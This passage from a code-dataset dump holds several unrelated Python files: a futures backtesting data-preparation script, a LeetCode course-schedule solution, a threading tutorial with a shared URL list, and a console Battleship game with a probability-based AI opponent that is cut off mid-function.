pd.read_csv('C:/Users/Administrator/Desktop/pythonHistoricalTesting/data/SCData/YMH21-CBOT_start_from_2018-01-01_15min.txt',\n parse_dates={'Time': [0, 1]})\n table_15_min = pd.concat([table_15_min_sub1, table_15_min_sub2], axis=0)\n table_15_min = table_15_min.reset_index(drop=True)\n table_15_min.columns = ['Time', 'Open', 'High', 'Low', 'Close', 'Volume', 'NumberOfTrades', 'BidVolume', 'AskVolume']\n return table_15_min\n\n\n\n# EMA34 = talib.EMA(table_15_min.Close, timeperiod=34)\n# EMA55 = talib.EMA(table_15_min.Close, timeperiod=55)\n# table_15_min['EMA_type'] = (EMA34 - EMA55) > 0 # 如果是EMA多头排列,记为True,空头排列,记为False\n\n# 直接导入SC的60min的rsi14数据\ntable_60_rsi14 = pd.read_csv(\n 'C:/Users/Administrator/Desktop/pythonHistoricalTesting/data/SCData/YMH21-rsi14-60 Min.txt',\n parse_dates={'Time': [0, 1]})\n# 下面这个函数是错的\ndef add_bar60rsi14(table_15_min):\n bar60rsi14 = []\n for time in table_15_min.Time:\n if (pd.to_datetime(time).strftime(\"%H:%M:%S\") >= \"08:30:00\") & (\n pd.to_datetime(time).strftime(\"%H:%M:%S\") < \"17:00:00\"):\n if pd.to_datetime(time).strftime(\"%M:%S\") >= \"30:00\":\n bar60time = pd.to_datetime(time).strftime(\"%Y-%m-%d %H:30:00\")\n bar60rsi14_sub = table_60_rsi14.loc[table_60_rsi14.Time == bar60time][' RSI'].values\n else:\n bar60time = (pd.to_datetime(time) - datetime.timedelta(seconds=3600)).strftime(\"%Y-%m-%d %H:30:00\")\n bar60rsi14_sub = table_60_rsi14.loc[table_60_rsi14.Time == bar60time][' RSI'].values\n else:\n bar60time = pd.to_datetime(time).strftime(\"%Y-%m-%d %H:00:00\")\n bar60rsi14_sub = table_60_rsi14.loc[table_60_rsi14.Time == bar60time][' RSI'].values\n\n if len(bar60rsi14_sub) > 0:\n bar60rsi14.append(bar60rsi14_sub[0])\n else:\n bar60rsi14.append(-1) # 填充一个不可能的rsi,比如-1\n table_15_min[\"bar60rsi14\"] = bar60rsi14\n\n# Keltner_Channel(table_15_min.Open, table_15_min, 13, 8, 1.618, 1.618, ma=\"EMA\")\n#\n# table_15_min[\"RSI\"] = talib.RSI(table_15_min.Open, timeperiod=14) # 这边统一都用open的数据了\n# AddRSI_T(table_15_min, 2)\n# AddRSI_T(table_15_min, 7)\n#\n# RSI_SMA_shortgo(table_15_min, 3)\n# Todo 等程序跑起来之后再来处理\ndef zzg_related():\n zig = fz.ZigZag(table_15_min, 89, mode='amount')\n df_only_last = zig.fixed_zzps()\n df_his_listed = zig.fixed_zzps(add_once=True) # 历史被擦除的也显示了\n df_only_last['High_or_Low'] = [str(df_only_last.type_.loc[i]) for i in range(len(df_only_last))]\n df_his_listed['High_or_Low'] = [str(df_his_listed.type_.loc[i]) for i in range(len(df_his_listed))]\n\n\n AddRSIDivergence(table_15_min, df_his_listed)\n\n # 需要根据table_15_min时间,找到上一个极值点处有没有发生背离\n Extreme_BottomDivergence = []\n Extreme_TopDivergence = []\n for i in range(len(table_15_min)):\n Extreme_BottomDivergence_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].RSI_BottomDivergence\n Extreme_TopDivergence_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].RSI_TopDivergence\n Extreme_BottomDivergence.append(Extreme_BottomDivergence_sub)\n Extreme_TopDivergence.append(Extreme_TopDivergence_sub)\n table_15_min['Extreme_BottomDivergence'] = Extreme_BottomDivergence\n table_15_min['Extreme_TopDivergence'] = Extreme_TopDivergence\n\n IdentifyPinBar(table_15_min)\n\n Extreme_UpPinBar = []\n Extreme_DownPinBar = []\n for i in range(len(table_15_min)):\n Extreme_UpPinBar_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].UpPinBar\n Extreme_DownPinBar_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].DownPinBar\n Extreme_UpPinBar.append(Extreme_UpPinBar_sub)\n Extreme_DownPinBar.append(Extreme_DownPinBar_sub)\n table_15_min['Extreme_UpPinBar'] = Extreme_UpPinBar\n table_15_min['Extreme_DownPinBar'] = Extreme_DownPinBar\n IdentifyTopBottomType(table_15_min)\n\n Extreme_TopType = []\n Extreme_BottomType = []\n for i in range(len(table_15_min)):\n Extreme_TopType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].TopType\n Extreme_BottomType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].BottomType\n Extreme_TopType.append(Extreme_TopType_sub)\n Extreme_BottomType.append(Extreme_BottomType_sub)\n table_15_min['Extreme_TopType'] = Extreme_TopType\n table_15_min['Extreme_BottomType'] = Extreme_BottomType\n IdentifyPregnantType(table_15_min)\n\n Extreme_UpPregnantType = []\n Extreme_DownPregnantType = []\n for i in range(len(table_15_min)):\n Extreme_UpPregnantType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].UpPregnantType\n Extreme_DownPregnantType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].DownPregnantType\n Extreme_UpPregnantType.append(Extreme_UpPregnantType_sub)\n Extreme_DownPregnantType.append(Extreme_DownPregnantType_sub)\n table_15_min['Extreme_UpPregnantType'] = Extreme_UpPregnantType\n table_15_min['Extreme_DownPregnantType'] = Extreme_DownPregnantType\n IdentifyTriplePregnantType(table_15_min)\n\n Extreme_UpTriplePregnantType = []\n Extreme_DownTriplePregnantType = []\n for i in range(len(table_15_min)):\n Extreme_UpTriplePregnantType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].UpTriplePregnantType\n Extreme_DownTriplePregnantType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].DownTriplePregnantType\n Extreme_UpTriplePregnantType.append(Extreme_UpTriplePregnantType_sub)\n Extreme_DownTriplePregnantType.append(Extreme_DownTriplePregnantType_sub)\n table_15_min['Extreme_UpTriplePregnantType'] = Extreme_UpTriplePregnantType\n table_15_min['Extreme_DownTriplePregnantType'] = Extreme_DownTriplePregnantType\n IdentifySwallowType(table_15_min)\n\n Extreme_UpSwallowType = []\n Extreme_DownSwallowType = []\n for i in range(len(table_15_min)):\n Extreme_UpSwallowType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].UpSwallowType\n Extreme_DownSwallowType_sub = table_15_min.loc[lastExtremeBar(i, df_his_listed)[0]].DownSwallowType\n Extreme_UpSwallowType.append(Extreme_UpSwallowType_sub)\n Extreme_DownSwallowType.append(Extreme_DownSwallowType_sub)\n table_15_min['Extreme_UpSwallowType'] = Extreme_UpSwallowType\n table_15_min['Extreme_DownSwallowType'] = Extreme_DownSwallowType\n TR_SMA_BBand(table_15_min, 14, 1)\n\n isHighorLowthan_n_sigma(table_15_min, 10, 2) # 这边有个问题,文档里面写的是用sma,但是我这里还是用了ema,后续改一下\n\n# Heikin_Ashi(table_15_min, SCCP=\"YES\")\n\n# 添加TR\n# 添加dayopen的tag\ndef add_realtime_dayrange(table_15_min):\n table_15_min['hms'] = table_15_min.Time.apply(lambda x: x.strftime(\"%H:%M:%S\"))\n open_bar = table_15_min[table_15_min.hms == \"17:00:00\"].index.values.tolist() # 后续用iloc\n close_bar = (np.array(open_bar[1:] + [table_15_min.index[-1] + 1]) - 1).tolist()\n day_range = [0] * open_bar[0]\n for i, j in zip(open_bar, close_bar):\n day_high = table_15_min.iloc[i].High\n day_low = table_15_min.iloc[i].Low\n for m in range(i, j + 1):# 因为range是取不到最后一个的,所以这边要+1\n high = table_15_min.iloc[m].High\n low = table_15_min.iloc[m].Low\n\n if high > day_high:\n day_high = high\n\n if low < day_low:\n day_low = low\n day_range_sub = day_high - day_low\n day_range.append(day_range_sub)\n\n table_15_min['day_range'] = day_range\n return table_15_min\n\n# 添加last_day_range\ndef add_last_day_range(table_15_min):\n open_bar = table_15_min[table_15_min.hms == \"17:00:00\"].index.values.tolist()\n last_day_range = [0] * open_bar[0]\n close_bar = (np.array(open_bar[1:] + [table_15_min.index[-1] + 1]) - 1).tolist()\n for i, j in zip(open_bar, close_bar):\n # 获取i的前一个值\n if i == 0:\n last_day_range_sub = [0] * (j - i + 1)\n last_day_range.extend(last_day_range_sub)\n else:\n last_day_range_sub = [table_15_min.loc[i - 1].day_range] * (j - i + 1)\n last_day_range.extend(last_day_range_sub)\n\n table_15_min['last_day_range'] = last_day_range\n return table_15_min\n\n# 添加range_ratio\ndef add_dayrange_ratio(table_15_min):\n table_15_min['range_ratio'] = table_15_min.day_range / table_15_min.last_day_range\n find_19_range_ratio = table_15_min[table_15_min.hms == \"17:00:00\"].index.values\n\n open_bar = table_15_min[table_15_min.hms == \"17:00:00\"].index.values.tolist() # 后续用iloc\n close_bar = (np.array(open_bar[1:] + [table_15_min.index[-1] + 1]) - 1).tolist()\n\n realtime_zscore = [0] * open_bar[0]\n for i, j in zip(open_bar, close_bar):\n for m in range(i, j + 1):\n if len(find_19_range_ratio[(find_19_range_ratio - m) < 0]) >= 19:\n range_ratio_list = [table_15_min.loc[m].range_ratio]\n for n in find_19_range_ratio[(find_19_range_ratio - m) < 0][-19:]:\n range_ratio_list.append(table_15_min.loc[n].range_ratio)\n range_ratio_mean = np.mean(range_ratio_list)\n range_ratio_std = np.std(range_ratio_list)\n realtime_zscore_sub = (table_15_min.loc[m].range_ratio - range_ratio_mean) / range_ratio_std\n realtime_zscore.append(realtime_zscore_sub)\n else:\n realtime_zscore.append(0)\n table_15_min['realtime_zscore'] = realtime_zscore\n return table_15_min\n\n# 添加last_zscore\ndef add_lastday_zscore(table_15_min):\n open_bar = table_15_min[table_15_min.hms == \"17:00:00\"].index.values.tolist() # 后续用iloc\n close_bar = (np.array(open_bar[1:] + [table_15_min.index[-1] + 1]) - 1).tolist()\n last_zscore = [0] * open_bar[0]\n for i, j in zip(open_bar, close_bar):\n # 获取i的前一个值\n if i == 0:\n last_zscore_sub = [0] * (j - i + 1)\n last_zscore.extend(last_zscore_sub)\n else:\n last_zscore_sub = [table_15_min.loc[i - 1].realtime_zscore] * (j - i + 1)\n last_zscore.extend(last_zscore_sub)\n table_15_min['last_zscore'] = last_zscore\n return table_15_min\n\n# 导入df_D\n# 包含有Tag和Tag_tomorrow\n# df_D = pd.read_csv(r\"F:\\pythonHistoricalTesting\\pythonHistoricalTesting\\code_generated_csv\\stat_df.csv\")\n# his_table = ATRRegression(table_15_min, df_his_listed, df_D, max_lots=10)[0]\n#\n# his_table[\"PointsChanged\"] = his_table.ExitPrice - his_table.EntryPrice\n# his_table[\"Profits\"] = [(ExitPrice - EntryPrice) * Lots if OrderType == \"long\" else (EntryPrice - ExitPrice) * Lots for\n# EntryPrice, ExitPrice, OrderType, Lots in\n# zip(his_table.EntryPrice, his_table.ExitPrice, his_table.OrderType, his_table.Lots)]\n#\n# print(his_table)\n# print(np.cumsum(his_table.Profits))\n\n\n\nif __name__ == '__main__':\n table_15_min = import_data_source()\n table_15_min = Heikin_Ashi(table_15_min, SCCP=\"YES\")\n table_15_min = add_realtime_dayrange(table_15_min)\n table_15_min = add_last_day_range(table_15_min)\n table_15_min = add_dayrange_ratio(table_15_min)\n table_15_min = add_lastday_zscore(table_15_min)\n print(table_15_min)\n table_15_min.to_csv('back.csv')\n","repo_name":"ClimbWorm/quant_developer","sub_path":"cta_py/strategy/strategy/ATRStrategy_Main_生成用于回测的数据.py","file_name":"ATRStrategy_Main_生成用于回测的数据.py","file_ext":"py","file_size_in_byte":12098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9364736189","text":"#\n# @lc app=leetcode.cn id=207 lang=python3\n#\n# [207] 课程表\n#\n\n# @lc code=start\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n graph = [set() for _ in range(numCourses)] \n for prere in prerequisites:\n graph[prere[0]].add(prere[1])\n \n def genEmpty(graph):\n return set([ i for i in range(len(graph)) if not graph[i] ])\n \n empty = genEmpty(graph)\n # print(graph)\n # print(empty)\n while True:\n for dependsCouse in graph:\n dependsCouse -= empty\n empty2 = genEmpty(graph)\n if len(empty2) == numCourses:\n return True\n if empty == empty2:\n return False\n empty = empty2\n \n\n\n\n# @lc code=end\n\n","repo_name":"mqinbin/python_leetcode","sub_path":"207.课程表.py","file_name":"207.课程表.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6002405660","text":"\"\"\"\n线程间通信\n\"\"\"\nimport time\nimport threading\nfrom threading import RLock\nfrom sample.chapter11 import variables\n\nfrom threading import Condition\n\n\n# 1. 生产者当生产10个url以后就就等待,保证detail_url_list中最多只有十个url\n# 2. 当url_list为空的时候,消费者就暂停\n\n\n# detail_url_list = []\n#\n#\n# def get_detail_html(lock):\n# # 爬取文章详情页\n# # 这是使用全局变量来实现线程间的通信问题,是一种比较简单粗暴的方法\n# # 用global来声明引用全局变量\n# global detail_url_list\n# # 用pop从队尾取数据\n# url = detail_url_list.pop()\n# # for url in detail_url_list: # 用for循环很慢,所以用pop从队尾取数据\n# print(\"get detail html started\")\n# time.sleep(2)\n# print(\"get detail html end\")\n#\n#\n# def get_detail_url():\n# # 爬取文章列表页\n# # 这是使用全局变量来实现线程间的通信问题,是一种比较简单粗暴的方法\n# # 用global来声明引用全局变量\n# global detail_url_list\n# print(\"get detail url started\")\n# time.sleep(4)\n# # 这里假装在爬取20个url\n# for i in range(20):\n# # 这里是往全局变量里append加数据\n# detail_url_list.append(\"http://projectsedu.com/{id}\".format(id=i))\n# print(\"get detail url end\")\n#\n#\n# # 1. 线程通信方式- 共享变量,全局变量\n#\n# if __name__ == \"__main__\":\n# thread_detail_url = threading.Thread(target=get_detail_url)\n# # 这是直接启动10个线程,假设启动10个,线程启动多了对操作系统是一种负担\n# for i in range(10):\n# html_thread = threading.Thread(target=get_detail_html)\n# html_thread.start()\n# start_time = time.time()\n# #\n# # thread1.join()\n# # thread2.join()\n#\n# # 当主线程退出的时候, 子线程kill掉\n# print (\"last time: {}\".format(time.time()-start_time))\n\n\n# 这下面是进化版本\ndef get_detail_html(lock):\n # 爬取文章详情页\n # 我们把全局变量放在variables中\n # 还是引用全局变量\n detail_url_list = variables.detail_url_list\n while True:\n # 先判断detail_url_list里面是否有数据\n if len(variables.detail_url_list):\n lock.acquire()\n if len(detail_url_list):\n url = detail_url_list.pop()\n lock.release()\n # for url in detail_url_list:\n print(\"get detail html started\")\n time.sleep(2)\n print(\"get detail html end\")\n else:\n lock.release()\n time.sleep(1)\n\n\ndef get_detail_url(lock):\n # 爬取文章列表页\n detail_url_list = variables.detail_url_list\n while True:\n print(\"get detail url started\")\n time.sleep(4)\n # 这里假装在爬取20个url\n for i in range(20):\n lock.acquire()\n if len(detail_url_list) >= 10:\n lock.release()\n time.sleep(1)\n else:\n detail_url_list.append(\"http://projectsedu.com/{id}\".format(id=i))\n lock.release()\n print(\"get detail url end\")\n\n\n# 1. 线程通信方式- 共享变量,全局变量\n\nif __name__ == \"__main__\":\n lock = RLock()\n thread_detail_url = threading.Thread(target=get_detail_url, args=(lock,))\n for i in range(10):\n html_thread = threading.Thread(target=get_detail_html, args=(lock,))\n html_thread.start()\n # # thread2 = GetDetailUrl(\"get_detail_url\")\n start_time = time.time()\n # thread_detail_url.start()\n # thread_detail_url1.start()\n #\n # thread1.join()\n # thread2.join()\n\n #当主线程退出的时候, 子线程kill掉\n print (\"last time: {}\".format(time.time()-start_time))","repo_name":"tang1323/Ing_Interview","sub_path":"sample/chapter11/thread_queue.py","file_name":"thread_queue.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23591151017","text":"import copy as c\nimport random as rd\nimport numpy as np\nimport time\n\npossible = [[] for i in range(9)]\nnums = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\nletters = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J']\nmode = 'targeting'\ncoords = [0, 0]\nprev_coords = [0, 0]\n\ndef num_player(num_player): #creates boards based on which mode the player chose\n if(num_player == 2):\n global playerboard, ai_board, player_gameboard, ai_gameboard, player_ships_remaining, ai_ships_remaining, player_placement, ai_placement\n playerboard = [(['░'] * 10) for i in range(10)]\n ai_board = [(['░'] * 10) for i in range(10)]\n player_gameboard = [(['░'] * 10) for i in range(10)]\n ai_gameboard = [(['░'] * 10) for i in range(10)] #board that ai plays on\n player_ships_remaining = [int(i) for i in range(len(numship), 0, -1)] #how many ships the player has remaining, used by ai\n ai_ships_remaining = [int(i) for i in range(len(numship), 0, -1)]\n player_placement = {}\n ai_placement = {}\n else:\n global playerboard1, playerboard2, main_gameboard1, main_gameboard2, player1_ships_remaining, player2_ships_remaining, player1_placement, player2_placements\n playerboard1 = [(['░'] * 10) for i in range(10)]\n playerboard2 = [(['░'] * 10) for i in range(10)]\n main_gameboard1 = [(['░'] * 10) for i in range(10)] #board that player 1 plays on\n main_gameboard2 = [(['░'] * 10) for i in range(10)] #board that player 2 plays on\n player1_ships_remaining = [int(i) for i in range(len(numship), 0, -1)]\n player2_ships_remaining = [int(i) for i in range(len(numship2), 0, -1)]\n player1_placement = {}\n player2_placements = {}\n\ndef print_board(pb): #prints inputed board\n print('')\n for i in range(len(pb)):\n print(nums[i], end = ' ')\n for j in range(len(pb[i])):\n print(pb[i][j], end = ' ')\n print('')\n print('\\n A B C D E F G H I J')\n print('\\n=======================================')\n\ndef instructions(): #prints instructions\n print(\"\\nWhile I am setting up the boards, here are some basic information:\\n\"\n \"\\nInstructions:\\n\"\n \" - The board is arranged in a 10 by 10 grid\\n\"\n \" - Each player will start out with \" + str(len(numship)) + \" ships and will each arrange them on their respective boards\\n\"\n \" - Once the game has start, each player will take turn firing shots at the other's board\\n\"\n \" - Mark every shot as either a hit on an enemy ship, or a miss in the water\\n\"\n \" - The game ends once either player loses all of their ships\\n\"\n \"\\nLegend :\\n\"\n \" - ░ marks a square as empty\\n\"\n \" - marks a square as a miss\\n\"\n \" - X marks a square as a hit\\n\"\n \" - C marks a square for confirmation\\n\"\n \" - S marks a square as sink\")\n input(\"Press enter to continue\")\n print('\\n=======================================')\n \ndef placement_info(ns, pb): #asks player for ship placement information. if information invalid, recurse. ns stands for number of ships, pb stands for playerboard\n print_board(pb)\n shiplen = input('Enter which ship you wish to place ' + str(ns) + ': ')\n while shiplen not in [str(i) for i in range(1,10)] or int(shiplen) not in ns:\n shiplen = input('Invalid ship. Enter which ship you wish to place ' + str(ns) + ': ')\n shiplen = int(shiplen)\n orientation = input('Enter your ship orientation (H/V): ')\n placerow = input('Enter your row: ')\n placecol = input('Enter your column: ')\n print('\\n=======================================')\n placement(orientation, placerow, placecol, shiplen, pb, ns)\n\ndef placement(ori, r, c, s, pb, ns): #checks the validity of the information and places down ship.\n if ori.upper() == 'H':\n if(r in nums):\n if(c.upper() in letters):\n c = letters.index(c.upper())\n if(c + s <= 10):\n if(check_placement(ori, r, c, s, pb)): \n for i in range(c, c + s):\n pb[int(r)][i] = s\n if(confirm_placement(pb)):\n if(setting == '2'):\n player_placement[s] = (int(r), c, 'h')\n else:\n if(pb == playerboard2):\n player2_placements[s] = (int(r), c, 'h')\n elif(pb == playerboard1):\n player1_placement[s] = (int(r), c, 'h')\n ns.remove(s)\n print('\\n=======================================')\n else:\n for i in range(c, c + s):\n pb[int(r)][int(i)] = '░'\n else:\n print('\\nInvalid placement. Ship already located there.')\n placement_info(ns, pb)\n else:\n print('\\nInvalid placement. Out of bounds')\n placement_info(ns, pb)\n else:\n print('\\nInvalid placement. Incorrect input for column.')\n placement_info(ns, pb)\n else:\n print('\\nInvalid placement. Incorrect input for row.')\n placement_info(ns, pb)\n elif ori.upper() == 'V':\n if(r in nums):\n r = int(r)\n if(c.upper() in letters):\n c = letters.index(c.upper())\n if(r + s <= 10):\n if(check_placement(ori, r, c, s, pb)):\n for i in range(r, r + s):\n pb[i][c] = s\n if(confirm_placement(pb)):\n if(setting == '2'):\n player_placement[s] = (int(r), c, 'v')\n else:\n if(pb == playerboard1):\n player1_placement[s] = (int(r), c, 'h')\n elif(pb == playerboard2):\n player2_placements[s] = (int(r), c, 'h')\n ns.remove(s)\n print('\\n=======================================')\n else:\n for i in range(c, c + s):\n pb[r][i] = '░'\n else:\n print('\\nInvalid placement. Ship already located there.')\n placement_info(ns, pb)\n else:\n print('\\nInvalid placement. Out of bounds')\n placement_info(ns, pb)\n else:\n print('\\nInvalid placement. Incorrect input for column.')\n placement_info(ns, pb)\n else:\n print('\\nInvalid placement. Incorrect input for row.')\n placement_info(ns, pb)\n else:\n print('\\nInvalid orientation.')\n placement_info(ns, pb)\n\ndef check_placement(ori, r, c, s, pb): #checks if selected ship intercepts with placed ships\n temp = []\n if ori == 'h':\n for i in range(c, c + s):\n if(pb[int(r)][i] == '░'): \n temp.append(False)\n else:\n temp.append(True)\n if sum(temp) == 0:\n return True\n else:\n return False\n elif ori == 'v':\n for i in range(r, r + s):\n if(pb[i][c] == '░'): \n temp.append(False)\n else:\n temp.append(True)\n if sum(temp) == 0:\n return True\n else:\n return False\n\ndef confirm_placement(pb): #confirm ship placement\n print_board(pb)\n Flag = True\n while Flag:\n confirm = input('Is this correct? (Y/N): ') \n if confirm not in ['N', 'n', 'Y', 'y']:\n print('\\nEnter Y or N.')\n print('\\n=======================================') \n elif confirm.upper() == 'Y':\n Flag = False\n return True\n elif confirm.upper() == 'N':\n Flag = False\n return False\n \ndef check_shooting(r, c, pb, opb, sr, pp): #checks if shoot position is valid\n if(r in nums):\n r = int(r)\n if(c.upper() in letters):\n c = letters.index(c.upper())\n if(pb[r][c] == '░'):\n pb[r][c] = 'C'\n if(confirm_placement(pb)):\n print('\\n=======================================')\n return True\n else:\n pb[r][c] = '░'\n player_shooting(pb, opb, sr, pp)\n return False\n else:\n print('\\n=======================================')\n print('\\nInvalid placement. The square you picked has already been revealed.')\n player_shooting(pb, opb, sr, pp)\n else:\n print('\\n=======================================')\n print('\\nInvalid placement. Incorrect input for column.')\n player_shooting(pb, opb, sr, pp)\n else:\n print('\\n=======================================')\n print('\\nInvalid placement. Incorrect input for row.')\n player_shooting(pb, opb, sr, pp)\n\ndef check_hit(r,c, mg2): #checks if shot hit ship\n if(mg2[r][c] != '░'):\n return True\n\ndef ai_ship_placement(shipl, counter): #algorithm for ai ship placement\n \n #condition to stop recursion after placing the last ship\n if(shipl == 0):\n return True\n \n #check if placing a ship at that square is possible and append to list if possible\n for i in range(10):\n for j in range(10):\n if(j + shipl <= 10):\n possible[counter].append((i, j, 'h'))\n if(i + shipl <= 10):\n possible[counter].append((i, j, 'v'))\n \n #removes ships that are not possible after the ship before it was placed\n possible[counter] = [x for x in possible[counter] if check_placement(x[2], x[0], x[1], shipl, ai_board)]\n \n #randomly chooses the position of the ship\n choose = rd.randint(0, len(possible[counter]) - 1) \n \n #placing down ship on the board\n for j in range(len(possible[counter])):\n if(possible[counter][choose][2] == 'h'):\n for k in range(shipl):\n ai_board[possible[counter][choose][0]][possible[counter][choose][1] + k] = shipl\n elif(possible[counter][choose][2] == 'v'):\n for k in range(shipl):\n ai_board[possible[counter][choose][0] + k][possible[counter][choose][1]] = shipl\n \n ai_placement[shipl] = possible[counter][choose]\n \n #calls the next recursion\n ai_ship_placement(shipl - 1, counter + 1)\n \ndef player_shooting(pb, opb, sr, pp): #player guess, enters player board then opponent\n print('\\nEnemy\\'s board')\n print_board(pb)\n guessrow = input('Enter the row you wish to shoot: ')\n guesscol = input('Enter the column you wish to shoot: ')\n print('\\n=======================================')\n if(check_shooting(guessrow, guesscol, pb, opb, sr, pp)):\n guessrow = int(guessrow)\n guesscol = letters.index(guesscol.upper())\n if(check_hit(guessrow, guesscol, opb)):\n pb[guessrow][guesscol] = 'X'\n opb[guessrow][guesscol] = 'X'\n if(check_sink(opb, pb, sr, pp)):\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nYou sunk a boat!')\n time.sleep(.8)\n print('\\n=======================================')\n print_board(pb)\n else:\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nIt\\'s a hit!')\n time.sleep(.8)\n print('\\n=======================================')\n print_board(pb)\n else:\n pb[guessrow][guesscol] = ' '\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nYou missed.')\n time.sleep(.8)\n print('\\n=======================================')\n print_board(pb)\n\ndef check_sink(pb, opb, sr, pp):\n pbs = sum(pb, [])\n for i in sr:\n if i not in pbs:\n if(pp[i][2] == 'h'):\n for j in range(i):\n pb[pp[i][0]][pp[i][1] + j] = 'S'\n opb[pp[i][0]][pp[i][1] + j] = 'S'\n elif(pp[i][2] == 'v'):\n for j in range(i):\n pb[pp[i][0] + j][pp[i][1]] = 'S'\n opb[pp[i][0] + j][pp[i][1]] = 'S'\n pp.pop(i)\n sr.remove(i)\n return True\n\n\n\ndef probability_board_targeting(ships_remaining, prob, counter):\n if(counter == len(player_ships_remaining)):\n return np.max(prob)\n for i in range(10):\n for j in range(10):\n if(j + ships_remaining[counter] <= 10 and check_placement('h', i, j, ships_remaining[counter], ai_gameboard)): #horizontal\n for k in range(ships_remaining[counter]):\n prob[i][j + k] += 1\n \n if(i + ships_remaining[counter] <= 10 and check_placement('v', i, j, ships_remaining[counter], ai_gameboard)): #vertical \n for k in range(ships_remaining[counter]):\n prob[i + k][j] += 1\n \n return probability_board_targeting(ships_remaining, prob, counter + 1)\n\ndef probability_board_hunting(pc, co, prob, ct):\n global prev_coords, coords\n \n try:\n if(ai_gameboard[co[0] - 1][co[1]] != 'X' and ai_gameboard[co[0] - 1][co[1]] != ' ' and ai_gameboard[co[0] - 1][co[1]] != 'S'):\n prob[co[0] - 1][co[1]] += 1\n if(co[0] + 1 == pc[0]):\n prob[co[0] - 1][co[1]] += 8\n except IndexError:\n pass\n try:\n if(ai_gameboard[co[0] + 1][co[1]] != 'X' and ai_gameboard[co[0] + 1][co[1]] != ' ' and ai_gameboard[co[0] + 1][co[1]] != 'S'):\n prob[co[0] + 1][co[1]] += 1\n if(co[0] - 1 == pc[0]):\n prob[co[0] + 1][co[1]] += 8\n except IndexError:\n if(co[0] - 1 == pc[0]):\n for i in reversed(range(pc[0])):\n if(ai_gameboard[i][co[1]] != 'X'):\n prob[i][co[1]] += 8\n break\n try:\n if(ai_gameboard[co[0]][co[1] - 1] != 'X' and ai_gameboard[co[0]][co[1] - 1] != ' ' and ai_gameboard[co[0]][co[1] - 1] != 'S'):\n prob[co[0]][co[1] - 1] += 1\n if(co[1] + 1 == pc[1]):\n prob[co[0]][co[1] - 1] += 8\n except IndexError: \n pass\n try:\n if(ai_gameboard[co[0]][co[1] + 1] != 'X' and ai_gameboard[co[0]][co[1] + 1] != ' ' and ai_gameboard[co[0]][co[1] + 1] != 'S'):\n prob[co[0]][co[1] + 1] += 1\n if(co[1] - 1 == pc[1]):\n prob[co[0]][co[1] + 1] += 8\n except IndexError:\n if(co[1] - 1 == pc[1]):\n for i in reversed(range(pc[1])):\n if(ai_gameboard[co[0]][i] != 'X'):\n prob[co[0]][i] += 8\n break\n\n try:\n if((ai_gameboard[co[0] - 1][co[1]] == 'X' and ai_gameboard[co[0] + 1][co[1]] == ' ' and ai_gameboard[co[0]][co[1]] == 'X') or (ai_gameboard[co[0] - 1][co[1]] == ' ' and ai_gameboard[co[0] + 1][co[1]] == 'X' and ai_gameboard[co[0]][co[1]] == 'X') or (ai_gameboard[co[0]][co[1] - 1] == 'X' and ai_gameboard[co[0]][co[1] + 1] == ' ' and ai_gameboard[co[0]][co[1]] == 'X') or (ai_gameboard[co[0]][co[1] - 1] == ' ' and ai_gameboard[co[0]][co[1] + 1] == 'X' and ai_gameboard[co[0]][co[1]] == 'X')):\n if(ct == 0):\n if(co[0] + 1 == pc[0]):\n flag = 1\n while ai_gameboard[co[0] + flag][co[1]] != '░':\n prev_coords = [co[0], co[1]]\n co = [co[0] + flag, co[1]]\n coords = [co[0], co[1]]\n elif(co[0] - 1 == pc[0]):\n flag = 1\n while ai_gameboard[co[0] - flag][co[1]] != '░':\n prev_coords = [co[0], co[1]]\n co = [co[0] - flag, co[1]]\n coords = [co[0], co[1]]\n elif(co[1] - 1 == pc[1]):\n flag = 1\n while ai_gameboard[co[0]][co[1] - flag] != '░':\n prev_coords = [co[0], co[1]]\n co = [co[0], co[1] - flag]\n coords = [co[0], co[1]]\n elif(co[1] + 1 == pc[1]):\n flag = 1\n while ai_gameboard[co[0]][co[1] + flag] != '░':\n prev_coords = [co[0], co[1]]\n co = [co[0], co[1] + flag]\n coords = [co[0], co[1]]\n \n probability_board_hunting(prev_coords, co, prob, ct + 1) \n except IndexError:\n pass\n \n if(np.max(prob) == 0):\n pb = sum(playerboard, [])\n index = [i for i in range(len(pb)) if(pb[i]) == 'X']\n choose = rd.randint(0, len(index) - 1)\n nco = [index[choose] // 10, index[choose] % 10]\n \n probability_board_hunting(co, nco, prob, ct) \n \n return np.max(prob)\n\ndef ai_shooting(): #finds squares with highest probability and chooses randomly between them\n \n global mode, prev_coords, first_coords, coords\n probability = [[0] * 10 for i in range(10)]\n if(mode == 'targeting'):\n \n maxprobability = probability_board_targeting(player_ships_remaining, probability, 0)\n props = sum(probability, [])\n index = [i for i in range(len(props)) if(props[i]) == maxprobability]\n choose = rd.randint(0, len(index) - 1)\n \n if(check_hit(index[choose] // 10, index[choose] % 10, playerboard)):\n \n ai_gameboard[index[choose] // 10][index[choose] % 10] = 'X'\n playerboard[index[choose] // 10][index[choose] % 10] = 'X'\n \n if(check_sink(playerboard, ai_gameboard, player_ships_remaining, player_placement)):\n for i in 